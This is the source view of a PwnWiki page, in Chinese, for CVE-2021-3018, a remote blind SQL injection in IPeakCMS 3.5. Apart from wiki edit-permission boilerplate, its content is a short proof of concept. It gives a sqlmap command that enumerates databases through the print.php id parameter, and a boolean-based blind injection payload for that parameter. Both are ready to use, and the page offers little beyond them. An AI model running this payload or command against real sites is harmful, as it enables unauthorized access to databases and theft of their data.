View source for CVE-2021-3018 IPeakCMS 3.5 SQL注入漏洞/zh-hans

From PwnWiki

← CVE-2021-3018 IPeakCMS 3.5 SQL注入漏洞/zh-hans

You do not have permission to edit this page, for the following reasons:

The action you have requested is limited to users in the group: Users.
This page cannot be updated manually. This page is a translation of the page CVE-2021-3018 IPeakCMS 3.5 SQL注入漏洞 and the translation can be updated using the translation tool.
You must confirm your email address before editing pages. Please set and validate your email address through your user preferences.

You can view and copy the source of this page.

<languages />
==简介==
IPeakCMS3.5存在远程SQL盲注漏洞。

==POC==
<pre>
Use SQLmap if you've found the valid id...
e.g: sqlmap -u "site.com/cms/print.php?id=1" --dbs
Payload : id=(SELECT (CASE WHEN(3104=3104) THEN 1 ELSE (SELECT 8458) END))
</pre>

Return to CVE-2021-3018 IPeakCMS 3.5 SQL注入漏洞/zh-hans.

Retrieved from "https://pwnwiki.com/index.php?title=CVE-2021-3018_IPeakCMS_3.5_SQL注入漏洞/zh-hans"